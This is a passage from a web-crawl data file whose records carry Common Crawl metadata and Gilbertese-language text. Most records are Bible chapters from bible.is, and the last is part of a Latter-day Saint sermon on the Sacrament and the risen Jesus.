Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/8","date":"2013-12-09T09:45:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163954634\/warc\/CC-MAIN-20131204133234-00062-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999710321,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999710321426392}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te kabanea ngkanne: taari, ti butingkami ma ni kauungaingkami iroun te Uea are Iesu, bwa ngkai kam a tia n reirei mai iroura aromi ni maiu ae e riai ae e kakukureia te Atua, n aron ae kam bwainna ngkai ni maiumi, ao kam na kabatiaa riki karaoana ni maiumi. 2Kam bon atai taian tua ake ti anganingkami ake mai iroun te Uea are Iesu. 3Bwa aio nanon te Atua ibukini katabuani maiumi bwa ana bwai: kam na rawa nakon te wene ni bure; 4kam na atai aromi ngkami mwaane n tatabemaningkami nako, ni maeka ma buumi n te aro ae e itiaki ao n te aro ni karinerine, 5ma tiaki n te aro ni kaitaataan ni kaibwabwaru n ai aron ae e nooraki irouia aomata aika tiaki I-Iutaia aika a aki ataa te Atua. 6E na aki bure temanna nakon raona ke ni baabakanikawaia ni baika a kaeti ma aron te mwaane nakon te aine bwa te Uea boni Ngaia te tia kareke-kai ibukini baikai ni kabane, n ai aron are ti tuangkami rimoa, ma ni kaotiotia naba. 7Bwa E aki weteira te Atua nakon te maiu ni kammaira, ma E weteira bwa ti na bwaina te maiu ae e itiaki. 8Ma ngaia are te aomata ae e rawa nakon te taeka n reirei aei, ao e aki rawa nakon te aomata, ma e rawa nakon te Atua, are e anganingkami Taamneina are e Raoiroi. 9Akea kainnanoan te koroboki nakoimi ibukin aromi n tangiriia raomi ni Kristian: bwa kam a bon tia n reireiaki iroun te Atua bwa kam na i tangitangiri; 10bwa kam bon tangiriia taari ni kabaneia ake a mena i Mwaketonia ni kabutaa. Ma ti kauungaingkami, taari, bwa kam na kabatiaa riki karaoana. 11Kam na kataa ae kam konaa bwa kam na rau, ao kam na karaoi oin tabemi; kam na mwakuri ni baimi, n ai aron are ti tuangkami. 12Ao n te aro aei kam na kamoamoaaki iai irouia aomata ake tiaki kaain te ekaretia, ao a na akea te bae kam na kainnanoia. 13Ti aki tangiringkami taari, bwa kam na aki atai aroia aika a mate, bwa kam aonga n aki nanokaawaki, n ai aroia tabemwaang akana akea aia kaantaninga. 14Bwa ngkana ti kakoauaa bwa E mate Iesu ao E a manga maiu, ao ti boni kakoauaa naba bwa te Atua E na kairiia bwa raon Iesu te koraki ni kabaneia ake a tia ni mate ake a onimakina Iesu. 15Bwa ae ti tuangkami aei bon ana taeka te Uea: ngaira aika ti maiu aika ti tiku ni karokoa rokon te Uea ti na bon aki nako n rimoaia ake a tia ni mate. 16Bwa ane E na ruo te Uea mai karawa ma te bwanaa ae takaarua n taetae, ma bwanaan te anera ae e kakannato, ma tangin ana buu te Atua. Ao a na manga maiu moa ake a mate ake a onimakina Kristo, 17ao ngaira aika ti maiu n te tai anne ti na uotaki rake ma ngaiia nakon te tabo are a mena iai naang, ao ti na kaaitibo ma te Uea i aani karawa; ao n te aro aei ti na meemena n taai nako iroun te Uea. 18Ma ngaia ae kam na i karau nanomi n taeka aikai.\n1 TETARONIKE 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Thess\/4","date":"2013-12-12T19:51:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164695251\/warc\/CC-MAIN-20131204134455-00032-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":541,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e taku Akeribwa nakoni Bwauro, Ko kariaiakaki bwa ko konaa n taetae bon i bukim. E arora baina ngkanne Bwauro ao e taetae ni kaaitarai taekanibukinana, ni kaangai, 2Te uea ae Akeribwa, I taku bwa I a kabwaia, ngkai N nangi taetae n te bong aei ni kaaitarai taekani bwaai ni kabane ake I bukinaki iai irouia I-Iutaia, 3ibukina bwa ko atai raoi aia katei I-Iutaia ma baika a aki toki ni kakauntaekai: ma ngaia ae I butiiko bwa ko na ongoraa irou ma te taotaonaki n nano. 4A bane I-Iutaia n ataa aroni maiu ma ngke te teei ngai, ngke I moa n rikirake i buakoia au bootanaomata, ao i Ierutarem; 5a a kaman ataa arou ma ngkoa, ngkana iai baikana a kan taekinai iai: bwa I a tia ni kaaina te bootaki teuana ae a rangi ni mamatoa tuana, ae te bootaki ni Bwaritaio. 6Ao I tei ikai ngkai bwa e na motikaki taekau ibukini kaantaningaani kakoauaan ana taeka n aakoi te Atua nakoia ara bakatibu; 7are te taeka are a kaantaningaia ara baronga ake tengauni ma ua baronga, bwa e na kakoroaki bukinanakoia, ngkai a bane nanoia n tataromauriia te Atua ni bong ao ni ngaina. Te uea, I bukinaki irouia I-Iutaia ibukin te kaantaninga aei. 8E aera ngkai e kaangaanga iroumi bwa kam na kakoauaa ae E a manga kamaiuiia maate te Atua? 9Ao ngai, n taai ake rimoa, ao I iangoia i bon irou, bwa N na karaoa ae I konaa n eekaanako aran Iesu are te I-Natareta. 10Ao I karaoi baikai i Ierutarem; ao I kainiia ake a itiaki aika a bati i nanoni karabuuti ngke I anganaki te mwaaka ni karaoia mai irouia ibonga ake mataniwi; ao ngke a kamateaki, ao ngai I kaota naba nanou ni kariaia. 11Ao I aki toki ni karaoi mwakuri n iowawanakoia i nanoni mwaneabaia I-Iutaia ni kabane, ao I kairoroiia bwa a na kaakeaa onimakinan Iesu. E korakora ribaakiia irou, n te aro are I bon nako naba ni kaawa ake a raroa riki ni bwainikiriniia iai. 12Ao bon aio naba bukin are I mwananga iai nako Taamateko i aani bwanaaia ma mwaakaia ibonga ake mataniwi. 13Te uea, i aoni kawaiu ni mwananga, ngke e a tawanou, ao I noora te oota mai karawa ae e raneanea riki ootana nakon ootan taai; e oota i rarikiu ma raou ni mwananga. 14Ngke ti bane ni bwaka i aontano, ao I ongo te bwanaa ae e kaangainakoiu n te taetae n Ebera, Tauro, Tauro, e aera ngkai ko bwainikiriinai? E kaangaanga iroum bwa ko na orei ni waem taboni kaai aika a kakang. 15Ao ngai I taku, Te Uea, antai Ngkoe? Ao E taku te Uea, Iesu Ngai ae ko bwainikiriinai. 16Ma ko na tei rake, ao tei i aoni waem; bwa I kaoti nakoim ibukin aei: bwa N na rineiko bwa ko na beku i bukiu, ao ko na riki bwa te tia taekini baika ko noori irou, ma baika N na manga kaotinakoim. 17N na kamaiuko mai irouia te bootanaomata ae Iteraera ao mai irouia aomata aika tiaki I-Iutaia, ake I kanakoko nakoia, 18bwa ko na kaure mataia, bwa a na rairaki man te roo nakon te oota, ao mani mwaakan Tatan nakon te Atua, bwa e aonga n reke irouia kabwaraan aia bure ao nneia i buakoia aomata ake a kaitiakaki n onimakinau. 19Ma ngaia are, te uea ae Akeribwa, I aki rawa nakon te baere kaanga te mii are e kaoti mai karawa; 20ma I tuangiia moa I-Taamateko, ao rimwi I-Ierutarem ma I-Iutaia ni kabaneia, ma aomata naba ake tiaki I-Iutaia, bwa a na rairi nanoia n rairaki nakon te Atua, ao ni karaoi mwakuri aika a na kaotiia iai bwa a a tia n rairi nanoia. 21Ao aei bukin are a tauai iai I-Iutaia n te umwantabu, ao a kataia ni kamateai. 22Ma E a tia te Atua ni buobuokai ni karokoa te bong aei, ao ngaia ae I a tei iai ngkai n taetae nakoia akana a mangori ma akana a kakannato, n akea te bae I karakaa n taekinna i rarikin ti aia taeka buraabeti ma Mote ibukini baika a na roko: 23bwa E na maraki ni mate te Kristo, ao arona ngkae E na manga maiu mai buakoia maate, bwa E na moani kaota te oota nakoia te bootanaomata ae Iteraera ma aomata aika tiaki I-Iutaia. 24Ngke e taetae Bwauro ni kaaitarai taekanibukinana n te aro arei, ao e takaarua Beteto ao e taku, Bwauro, ko rangirang; e karangirangko mwiin am wareware ni booki aika a bati. 25Ma e kaeka Bwauro ao e taku, Beteto ae ko moani kakannato, I aki rangirang, ma I atongi taeka aika a koaua aika a eti. 26Bwa te uea ae I taetae nakoina n aki wi makiikii e atai taekani baikai; bwa I taku bwa akea te bwai teuana n aikai ae e karabaaki nakoina, bwa e aki karabaaki te baei ni karaoaki n te tabo ae e na aki nooraki iai. 27Te uea ae Akeribwa, ko kakoauaia buraabeti? I ataiko bwa ko kakoauaia. 28Ao e taku Akeribwa nakoni Bwauro, Ko anaa nanou bwa N na riki ni Kristian i nanon te tai ae e kimototo aei? 29Ao e taku Bwauro, E kimototo ke e ananau, bon au tataro nakon te Atua bwa ko bia riki n arou, ngkoe ma aomata ni kabaneia aika a ongoraa irou n te bong aei—ma ti taurekereke aikai bwa kam na aki kabaeaki iai. 30Ao e tei rake te uea, ma Beteto, ma Nei Berenike, ma uaake raoia n tekateka, 31ao ngke a nako ao a taetae irouia ni kaangai, E aki karaoa ae e riai matena iai, ke kabaeana iai te aomata arei. 32Ao e taku Akeribwa nakoni Beteto, E konaaki ni kainaomataaki te aomata arei ngke arona bwa e aki tangira kautuun te tautaeka n Rom bwa e na motika taekana.\nMWAKURI 26","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/26","date":"2013-12-13T19:25:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164981569\/warc\/CC-MAIN-20131204134941-00083-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":976,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai ae Bwauro, ae ana toro Iesu Kristo, ae e weteaki bwa te tia tuatua, ao e rineaki ibukin tataekinan ana euangkerio te Atua; 2E a kaman taekina te euangkerio aei te Atua i nanon te Baibara irouia ana buraabeti : 3bon taekan Natina, are Iesu Kristo, are e bungiaki n te aro n rabwata bwa kanoan ana kariki Tawita; 4ma ni maiuna n taamnei are e reitaki ma te Atua, ao E kaotia te Atua n te aro ae e mwaaka bwa bon Natina ngke E a manga kamaiua mai buakoia maate. 5Boni Ngaia are ti anganaki mai irouna te konaa n riki bwa taan tuatua ibukin arana, bwa a aonga n onimaki ma n ongeaaba bootanaomata ni kabaneia. 6Kam warekaki naba i buakoia te bootanaomata anne, ngkami aika kam weteaki bwa ana bwai Iesu Kristo: 7nakoia ake a mena i Rom ni kabaneia, ake a tangiraki iroun te Atua, ake a weteaki bwa ana aomata: ami bwai te aakoaki ma te rau mai iroun te Atua are Tamara ma te Uea are Iesu Kristo. 8I rimoa moani kaaitaua Atuau iroun Iesu Kristo i bukimi ni kabaneingkami, ibukin ami onimaki ae e taekinaki i aonnaba ni bane. 9Bwa te Atua bon te tia kakoauai au taeka, ao boni Ngaia ae I toro irouna n taamneiu ibukin tataekinan euangkerion Natina, bwa I aki toki n uringngkami 10ni katoaa te tai are I tataro iai, ao I butiia te Atua bwa ngkana nanona, ao e bia reke te tai are N na mwananga iai ni kawaringkami ngkai. 11Bwa I rangi ni kan nooringkami, bwa N na anganingkami bwaai n tituaraoi tabeua ake mai iroun te Taamnei, bwa kam aonga ni kateimatoaaki iai. 12Ae I nanonna bwa ti na uaia ni buokaki, ngkami n au onimaki ao ngai n ami onimaki. 13Ma I tangiringkami, tariu, bwa kam na ataia bwa e mwaiti au tai ae I a tia ni baaireia bwa N na nakoimi iai, ma iai te bwai ae e aki toki n toototokoa mwanangau ni karokoa naba te tai aei. I kan rairiia naba temwaangina i buakomi nakon te Uea, n ai aroia ake a tia n rairaki irou i buakoia bootanaomata ake tiaki I-Iutaia. 14Iai tabeu ae I riai ni karaoia nakoia I-Erene ma aomata aika tiaki I-Erene, ao nakoia aika a reireiaki ma aika a aki reireiaki; 15ao bon aei bukin ae e ingainga nanou iai ni kan taekina te euangkerio nakoimi naba, ngkami ake kam mena i Rom. 16Bwa I aki maamaa n te euangkerio: bwa boni mwaakan te Atua ni kamaiuiiaa aomata nako aika a onimaki,aika I-Iutaia moa ao I-Erene naba. 17Bwa e kaotaki n te euangkerio aron te Atua ni kaeti aroia aomata nakoina n te onimaki, ni moa man rekena irouia ni karokoa tokina: n ai aron are e koreaki ni kaangai: E na maiu ane e kaetaki arona n reitaki ma te Atua n te onimaki. 18Bwa e kaotaki unin te Atua mai karawa nakoia aomata ake a tia ni kaakaraoa te bure, ma te aro n iowawa; ao ibukin aroia aika a bubuaka n tukiia aomata man ataan te koaua. 19Bwa e bon teretere nakoia te baere e konaa n ataaki iai te Atua: bwa E kaotia nakoia te Atua. 20Bwa a kaman nooraki raoi aron te Atua aika a aki nonooraki, are mwaakana ae akea moana ma tokina, ma arona n Atua, ma ngke a moani karikaki aonnaba; ao a ataaki ni baike E karaoi. Ma ngaia are bon akea aonaia. 21A ataa te Atua, ma a aki anganna neboana ngkai te Atua Ngaia, ao a aki kaaitaua; ma a riki aia iango bwa baika akea boonganaia, ao a karooaki nanoia aika a aki wanawana. 22A taku bwa a rabakau, ma a nanobaba; 23ao a onika te Atua ae e aki maamate ae e mimitong bwa te bouananti ae katootoongan te aomata ae maamate, ke maan aika a kibakiba, ke maan aika kakaeai waeia, ke maan aika a kawakawa. 24Ma ngaia are E katikuiia te Atua n aroia n tangira te kammaira, ao a karaoi mwakuri ni kamaamaa nakon rabwataia, temanna nakon temanna. 25A bita te koaua mai iroun te Atua nakon te kewe; ao a taromauriia te bae e karikaki ma n toro irouna, n onea mwiin te Tia Kariki bwaai, are e riai ni karaoiroaki n aki toki. Amene. 26Ma ngaia are E katikuiia te Atua nakon aroia ni kaitaataan aika a bubuaka: bwa aia aine a onea aroia n iraorao ma mwaane are e riai ao a iraorao ma raoia n aine; 27ao ai aroia naba mwaane: a kiitan aroia n iraorao ma aine are e riai, ao a rangi n taaniia i bon irouia: mwaane ma mwaane a karaoa te kammaira ni kamaamaa; ao mwiina, boni karekeani kaiia ibukin te mwakuri ae e buaakaka are a a tia ni karaoia. 28Ngke a rawa ni kaaki i nanoia ataakin te Atua, ao E katikuiia n aroia aika ti te iangoi baika a kammaira, bwa a aonga ni karaoi mwakuri aika a aki riai. 29A kaonaki nanoia n te buaakaka ni kabanea, ma te kani buaakaka, ma te kani bwaibwai ae e korakora, ma te baabakanikawai. A on n te bakantang, ma te nano ni kamaamate ma ni kauntaeka, ma te uarao, ma te iowawa. Bon taani winanti, 30taani bukibuki, taan ribaa te Atua, taan taetaebuaka, taani kainikatonga, taani kamoamoaia, taani kariki iango aika a bubuaka, taan aki iri nanoia aia karo, 31te koraki aika a bure aroia, taan uru taeka ni booraraoi, taani babakaine, taan aki nanoanga. 32A bon ataa ana taeka te Atua ae e kaangai, A riai mateia akana karaoi baikai. A aki ti kaakaraoi baikai, ma a boni kaoti naba nanoia aika a kukurei ngkana a karaoaki baikai irouia temwaangina.\nROM Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/","date":"2013-12-11T02:45:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164029436\/warc\/CC-MAIN-20131204133349-00070-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":956,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E taetae te Taamnei ni kaotia raoi bwa ni boong aika kabanea ni boong, ao bon iai temwaangina aika a na kaaka taekan te onimaki; ao ane a na iri nanoia taamnei aika a bureburea te aba, ma aia reirei taimonio, 2aika nako mai irouia taani kewe aika a mwaamwanaa a te aba, aika a mate mataniwiin nanoia bwa kaanga mwiini kabuokaia n te biti ae e kabuebue; 3a tuangiia aomata bwa a na tai iein, ao a na tai kang amwarake nako, aika E kariki te Atua bwa a na kakanaki ma te katituaraoi irouia aika a onimaki ma n ataa te koaua. 4Bwa a bane n raraoi baika a karikaki iroun te Atua, ao akea te bwai teuana ae e na kaakiaki, ngkana e anaaki ni katituaraoaki te Atua iai, 5ibukina bwa e a katabuaki n ana taeka te Atua ao n te tataro. 6Ngkana ko anga taeka n reirei aikai nakoia taari, ao ko riki iai bwa a na tia mwakuri ae e raoiroi Kristo Iesu, ae ko nabeaki n taekan te onimaki ma taekan reirei aika a raraoi, aika ko tou mwiia. 7Ma ko na tai mutiakini karaki aika a aki koaua aika a bo buaka ma kanoan te euangkerio, aika karaki aika akea nanoia. Kataneiako bwa ko aonga n rangi n reitaki ma nanon te Atua ni maium. 8Bwa bon iai teutana boonganani kataneiaan te rabwata bwa e na marurung, ma te maiu n reitaki ma te Atua e boongana ibukini bwaai ni kabane, ngkai iai taekana n akoi, ae iai te kabwaia iai ibukin te maiu aei, ao ibukin te maiu ae e na roko. 9E koaua te taeka aei, ao e riai bwa e na kaakiaki i nanoia aomata ni kabaneia: 10Bwa ti kakorakoraira ni mwakuri ao ti kekeiaki mwaaka ibukina ngkai ti onimakina te Atua ae e maiu, ae aia Tia Kamaiu aomata ni kabaneia, ai moara riki te koraki aika a onimaki. 11Ko na tuangiia kaain te ekaretia baikai, ao reireiia iai. 12E na tai kaakeaa boonganam temanna ngkai te rorobuaka n ataei ngkoe; ma ko na riki bwa te banna ni kakairi nakoia aika a onimaki, n am taeka, n te bae ko karaoia, n arom n tangira, n am onimaki, ma te aro ni maiu ae e itiaki. 13Ko na tabe ma warekan te Baibara, te kabwarabwara, ao te reireiia aomata ni karokoa rokou. 14Ko na tai kaaki taekan te bwai n tituaraoi ane iroum, are ko anganaki n te tai are a taetae ni buraabeti iai buraabeti ao a katokai baiia i aom unimwaanen te ekaretia. 15Ko na kaakaraoi baikai, ao kakaonimaki nako iai, bwa e aonga n nooraki tamaaroan am waaki irouia aomata ni kabaneia. 16Ko na tarataraiko n arom ni maium, ao tarataraa kanoan am reirei. Ko na kaakaraoi baikai; bwa ngkana ko karaoa aei, ao ko na kamaiuaki iai ma ake a ongo iroum.\n1 TIMOTEO 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/4","date":"2013-12-12T12:52:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164583265\/warc\/CC-MAIN-20131204134303-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":480,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:2222ma ngkana e niniaki iroun ae e aintoa riki nakoina ao e konaaki irouna, ao teuanne e na anai ana bwai n un teuare e konaaki, ake e onimakin, ao e na tibwatibwai nakoia raona. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/22","date":"2013-12-08T00:19:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163056670\/warc\/CC-MAIN-20131204131736-00074-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999974966049194}","num_words":51,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao i bukimi ainenumwa: kam na aan-taeka irouia oini bumi; bwa e aonga n are ngkana a aki ira nanon ana taeka te Atua mwaanenumwa, ao a na anaaki nanoiia n aroaroia buuiia. E na aki kainnanoaki ami taeka, 2ibukina bwa ane a na noori aroaromi aika a itiaki ma ni karinerine. 3Ao katamaaroaami ae e riai, tiaki katamaaroaan tinanikumi ae biran iran atuum i, ao karinani bwaai aika koora, ke kunnikai ake kam kunnikaingkami iai aika a bobuaka; 4ma katamaaroaami ae e riai, bon te aomata ae raba ae e bwain te nano, ae katamaaroaami ae e aki konaa ni mka, ae te nano ae e nimamannei ae e rau, ae e kakaawaki i matan te Atua. 5Bwa ai ngaia anne aroia aine ngkoangkoa ake a tataromauriia te Atua ma ni mwiokoia, ngke a katamaaroaia n aroia n iriiri nanoia oini buia: 6n ai aron Nei Tara ngke e iriira nanon Aberaam, ao e atoatongnga bwa ana toka. Ao kam a riki bwa natina ngkami, ngkana kam kaakaraoa ae raoiroi, ma n aki mamaaku n te bwai teuana. 7Ao i bukimi mwaanenumwa: kam na maeka ma buumi ma te atatai bwa ngaiia ai aron te mwangko ae e mamaara riki, ngkai te aine. Kam na karineia, ibukina bwa a na uaia ni bwaibwai ma ngkami n te bwai n tituaraoi ae te maiu; bwa a aonga ni kaekaaki ami tataro. 8Kabanean au taeka ngkanne: kam na bane ni bwaina te nano ae ti te arona, ma te namakin ae ti te arona; kam na tangiriia raomi ni Kristian, kam na nanoanga, ao kam na nanorinano. 9Kam na tai kabooa te buaakaka n te buaakaka, ao te taetaebuaka n te taetaebuaka; ma kam na taetae ni kakabwaiaia aomata; bwa kam weteaki nakon aei, bwa kam aonga ni karekea te kakabwaiaaki. 10Bwa e kaangai te Baibara, Ane e kani maiu ni kukurei Ma ni kan noori boong aika a raraoi, e na kaawakina newena man te taetae ae e buaakaka, ao riana man taekinan te kewe. 11E na kiitana te buaakaka, ao e na kaakaraoa ae e raoiroi; E na ukoukora te raoi, ao e na kekeiaki mwaaka nako iai. 12Bwa E tarataraiia akana a raoiroi te Uea, ao E ongo aia tataro, ma E ekiia nako akana a karaoa ae e buaakaka. 13Ao antai ae e na kaikoakiingkami ngkana a korakora nanomi ni kani karaoa ae e raoiroi? 14Ma ngkana kam boni maraki ibukini karaoan nanon te Atua, ao kam a kabwaia. Kam na tai maakuia, ao a na tai kakiriweeaki nanomi. 15Ma kam na tabua Kristo i nanomi bwa te Uea; ao kam na tauraoi n te bong ae koraki bwa kam aonga ni konaa ni kaeka te aomata ae e titirakiningkami ibukin te kaantaninga ae e mena i nanomi; 16ma kam na kaeka ma te nimamannei ao te maaku; kaawakini mataniwiin nanomi bwa a na itiaki; ao n te aro aei a na mamaa iai te koraki ake a taetae ni kabuaakakai aroaromi aika a raraoi ngkai kam reitaki ma Kristo. 17Bwa e raoiroi riki marakimi ibukini karaoan ae e raoiroi, ngkana anne nanon te Atua, nakoni marakimi ibukini karaoan ae e buaakaka. 18Bwa e mate Kristo ibukini buure ti te taina ao akea riki—te aomata ae e raoiroi i bukiia aika a buaakaka—bwa E aonga ni kairingkami nakon te Atua. E boni kamateaki n te aro n rabwata, ma E kamaiuaki n te aro n taamnei; 19are E nako n arona aei ni kabwarabwara nakoia taamnei ake n te karabuuti: 20ake te koraki n aki ongeaaba nakon te Atua ngke E tataningaa ma te taotaonaki n nano ni boong ake e kabaa iai ana kaibuke Nooa; are a kamaiuaki i nanona ti tabeman te aomata, aika waniman, n te ran. 21Ao te bwabetito, are aekan te ran arei, e kamaiungkami ngkai, tiaki ni kaitiakan te baareka man te rabwata, ma n te kaeka nakon te Atua mani mataniwiin te nano ae e itiaki. E kamaiungkami ni manga-maiun Iesu Kristo; 22are e nako karawa, ao E mena i angaatain te Atua, n tautaeka i aoia anera ma ake iai mwaakaia ma aroia n tautaeka.\n1 BETERO 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/3","date":"2013-12-13T08:25:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164920374\/warc\/CC-MAIN-20131204134840-00057-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":687,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I rangin ni kakaitau ni mena ma ngkami n ana maungatabu ni kabuta Ana Ekaretia Iesu Kristo Ibukiia Aika Itiaki ni Boong Aika Kaitira. Aio Ana Ekaretia. Ti katoka Arana iaora ngkana ti rin n Aba n ueana. Bon te Atua, te tia Karikibwai, ao e kororaoi. Bon rabwata ngaira aika mamate ao ti na mate ao ni bure. Eng n Ana tangira ibukira ao ara utu, E kaoira bwa ti na kanira ma Ngaia. Aikai Ana taeka: \"Kani ngkami ma ngai ao N na kaniai ma ngkoe, ukoukorai ma te botumwaka ao ko na kuneai, bubuti, ao ko na karekea, karebwerebwe, ao e na kaukaki nakoim.\"1\nN tain te Itita aei ao ti kauringaki bwa bukin tera ti Tangiria ao ana berita are E karaoi nakoia Ana reirei aika onimaki n riki bwa Raoraona aika tangiraki. E karaoa te berita te Tia Kamaiu ao e tuangira bwa e kanga, n ara ibuobuoki Nakoina, E roko nakoira. Te katooto teuana n te kaotioti nakon Oliver Cowdery ngke beku ibukin te Uea ma te Burabeti Iotebwa Timiti ngke a raira Ana Boki Moomon: \"Noria, ngkoe ae Oliver, ao I a tia n reitaki ma ngkoe ibukin nanom, ngaia ae kawakin taeka aikai inanom. Bwaina te onimaki ao te wanawana ni kawakin ana tua te Atua, ao n na katobibia ni bain au tangira.\"2\nI namakina te kimwareirei ni kaan riki nakon te Tia Kamaiu ao n Ana kaan riki nakoiu rinanon te ongotaeka nakon taian tua.\nKo a tia ni karekei tabeua atatai. E kona n ae e riki ngke ko rineia n ira te bootaki n toa. Bon ibukiu n te Tabati ngke I rangin ni uarereke. N taai aikanne ao ti karekea te toa n tain te bootaki n te tairiki. Uringakin te bong teuana e raka iaon 65 te ririki n nako, ngke I kawakina te tua n ikotaki ma au utu ma Aika Itiaki, e teimatoa ni kaniai riki ma te Tia Kamaiu.\nE bon ro ao ni kamaitoro tinaniku. I uringa n namakina te oota ao te kabuebue n te tabo n taromauri n te tairiki anne ma au karo. Ti taua te toa, ae katabuaki irouia kaain te Nakoanibonga ae te Aaron, ni berita ma Tamara ae Akea Tokina bwa e na urururingiia n tainako Natina ao ni kawakin Ana tua.\nN tokin te bootaki ti anenea te anene \"Abide with Me; 'Tis Eventide,\" ma taeka inanona \"O Savior, stay this night with me.\"3\nI namakina ana tangira te Tia Kamaiu ao kaan riki n te tairiki anne. Ao I namakina ana karaunano te Tamnei ae Raoiroi.\nI tangiria ni kaboua teuana riki te tai ana namakin te Tia Kamaiu ao Kanna riki ae I namakinna n tain te bootaki n toa n aia bootaki au kairake. Ngaia ae I a manga kawakina riki teuana te tua. I ukeuke ni booki aika tabu. Inanoia, I ataia ae I kona ni manga oki riki ni karekea te Tamnei ae Raoiroi bwa n na namakina te bwai ae a tia n namakinna ana reirei te Uea ae uti ngke E a tia ni kaekai aia kakao bwa ana nakon mweengaia ao ni maeka ma ngaia.\nI warekia n te katenua ni bong imwiin Karawawatakina ao taunakina. Aine aika onimaki ao tabeman a kunea te atibu bwa e a tia ni kamwaingaki man te ruanimate ao n noria bwa ai akea Rabwatana ikekei. A tia n otinako ma te tangira Ibukina ni kabira Rabwatana.\nUoman anera a tei irarkia ao a titiraki ibukin tera a maaku, e taku:\n\"Kam aera ngkai kam ukoukora Teuare maiu i buakoia mate?\n\"E aki mena ikai, ma E a uti: kam na uringa ana taeka nako imi ngke E mena i Kariraia,\n\"E kangai, E riai ba e na kamaneaki Natin te Aomata nako nanoni baiia aomata aika buakaka, ao E na kamateaki n te kaibangaki, ao E na manga uti n te katenibong.\"4\nAna Euangkerio Mareko e reita te kaetieti mairoun temanna te anera: \"Ma kam na nako n tuangia ana reirei ma Betero ba E rimoami nako Kariraia: ane kam na noria iai, n ai aron ana taeka rimoa nako imi.\"5\nAbotoro ao reirei a ikotaki i Ierutarem. N aron are e na riki nakoira, a boni maaku ao ni mimii ngkai a taetae ni kabane bwa tera taekan matena ao rongorongon Mangautina ae nanonaki nakoia.\nUoman reirei a nakonako n te tairiki anne mai Ierutarem n te kawai nako Emauti. Te Tia Kamaiu are e a ti a n uti e kaoti n te tairiki n te kawai ao n nakonako mangaiia. Te Uea e kawariia\nAna boki Ruka e kariaia bwa ti na nakonako mangaiia n te tairiki anne.\n\"Ao ngke a tabe n taetaenikawai, man neneri, ao E kania Iesu, ao E airi ma ngai'a\n\"Ao a tauaki mataia ba a na aki kina.\n\"Ao E taku nako ia, Taeka ra akana kam taekin i roumi, ngkai kam nakonako? Ao a tei ni mata n nanokawaki?\nAo 